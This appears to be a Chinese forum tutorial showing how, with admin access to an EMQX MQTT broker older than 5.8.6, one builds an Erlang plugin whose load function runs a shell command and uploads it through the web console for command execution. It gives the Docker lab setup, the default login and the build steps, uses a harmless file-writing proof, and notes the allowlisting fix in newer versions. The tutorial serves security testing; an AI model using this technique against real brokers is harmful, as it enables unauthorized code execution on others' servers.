找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4781

积分

0

好友

655

主题
发表于 14 小时前 | 查看: 2| 回复: 0

EMQX(简称 EMQ)是一款完全开源、高度可伸缩且高可用的分布式 MQTT 消息服务器。它不仅支持 MQTT 协议,还支持其他 IoT 协议如 CoAP/LwM2M 等,广泛适用于物联网(IoT)、机器对机器(M2M)通信以及移动应用程序。

前置条件

要进行本次渗透测试,需要满足以下两个条件:

  1. 拥有EMQX后台的账号密码。
  2. 目标EMQX版本低于 5.8.6。

靶场环境搭建

我们使用 Docker 来快速部署一个 EMQX 测试环境。

docker pull emqx/emqx-enterprise:5.5.1
docker run -d --name emqx-enterprise -p 1883:1883 -p 8083:8083 -p 8084:8084 -p 8883:8883 -p 18083:18083 emqx/emqx-enterprise:5.5.1

容器运行后,访问 http://[你的IP]:18083 即可看到登录页面。

EMQX后台登录界面

使用默认账号 admin 和密码 public 登录(如果提示需要修改密码,点击跳过即可)。登录后可以在管理后台左下角确认当前版本。

EMQX后台概览页面

制作恶意插件

接下来,我们将在 Kali Linux 系统中编译一个包含恶意代码的 EMQX 插件。

1. 配置网络代理(如需要)

如果环境需要代理才能访问外网下载依赖,请设置以下环境变量:

export http_proxy=http://192.168.160.1:10809
export https_proxy=http://192.168.160.1:10809

2. 安装编译环境和依赖

sudo apt update
sudo apt install -y build-essential autoconf libncurses5-dev libssl-dev libwxgtk3.2-dev libgl1-mesa-dev libglu1-mesa-dev libpng-dev libssh-dev unixodbc-dev cmake
git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1
echo '. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc
echo '. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc
source ~/.bashrc
asdf --version

asdf版本验证

3. 安装 Erlang 和 rebar3

asdf plugin-add erlang https://github.com/asdf-vm/asdf-erlang.git
asdf install erlang 25.3
asdf global erlang 25.3
wget https://s3.amazonaws.com/rebar3/rebar3
chmod +x rebar3
sudo mv rebar3 /usr/local/bin/

4. 创建插件模板

使用 rebar3 创建一个 EMQX 插件模板,命名为 my_emqx_plugin

rebar3 new emqx-plugin my_emqx_plugin

创建插件模板

5. 插入恶意代码

编辑插件的主模块文件,在 load 函数中插入系统命令执行代码。这里我们让插件在加载时,执行一条简单的命令作为验证。

vim my_emqx_plugin/src/my_emqx_plugin.erl

找到 load(Env) -> 这行,在其函数体内添加 os:cmd("echo POC > /tmp/poc.txt"),。这行代码会在插件加载时,在系统的 /tmp 目录下创建一个名为 poc.txt 的文件,并写入字符串 “POC”。

恶意插件代码修改

6. 编译插件并打包

进入插件目录进行编译,生成发布包。

make -C my_emqx_plugin rel

插件编译过程

编译完成后,将生成的 .tar.gz 包复制到当前目录。

cp my_emqx_plugin/_build/default/emqx_plugrel/my_emqx_plugin-1.0.0.tar.gz .

复制生成的插件包

执行恶意插件

现在,我们回到 EMQX 的管理后台,利用插件上传功能来执行我们的恶意代码。

  1. 进入后台的 “插件” 管理页面。
    EMQX插件管理页面

  2. 点击 “+ 安装插件”,将刚刚生成的 my_emqx_plugin-1.0.0.tar.gz 文件上传并启用。
    插件上传并启用成功

  3. 插件启用后,其 load 函数中的代码便会立即执行。我们可以通过进入 EMQX 容器内部,查看 /tmp 目录来验证命令是否执行成功。

验证命令执行结果

如图所示,/tmp/poc.txt 文件已被成功创建,内容为 “POC”,证明命令执行漏洞利用成功。

安全说明与高版本限制

TIPS:在 EMQX 5.8.6 及更高版本中,出于安全考虑,默认关闭了通过 Web 控制台直接安装任意插件的功能。在高版本中,如果需要安装某个插件,必须先在服务器上通过命令行执行白名单允许命令,例如:

emqx ctl plugins allow my_emqx_plugin

之后才能在后台进行安装。这有效缓解了此类攻击。如果你在后台安装插件时遇到 “403 FORBIDDEN” 错误,通常就是这个原因。

高版本插件安装限制提示

参考与免责声明

文章声明:本文所述方法、工具仅用于安全研究、学习与测试,旨在帮助开发者与运维人员了解潜在风险并加固其中间件系统。严禁将其用于任何非法入侵或破坏活动。使用者产生的任何不当行为与本文作者及发布平台无关。

希望这篇关于 EMQX 插件机制安全风险的深入分析能对你有所启发。安全之路,任重道远,欢迎在云栈社区与更多技术同仁交流探讨。




上一篇:如何通过EMQX插件漏洞实现命令回显与内网穿透?
下一篇:深度剖析分布式缓存一致性问题:6大场景与解决方案
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-7 16:54 , Processed in 0.585454 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表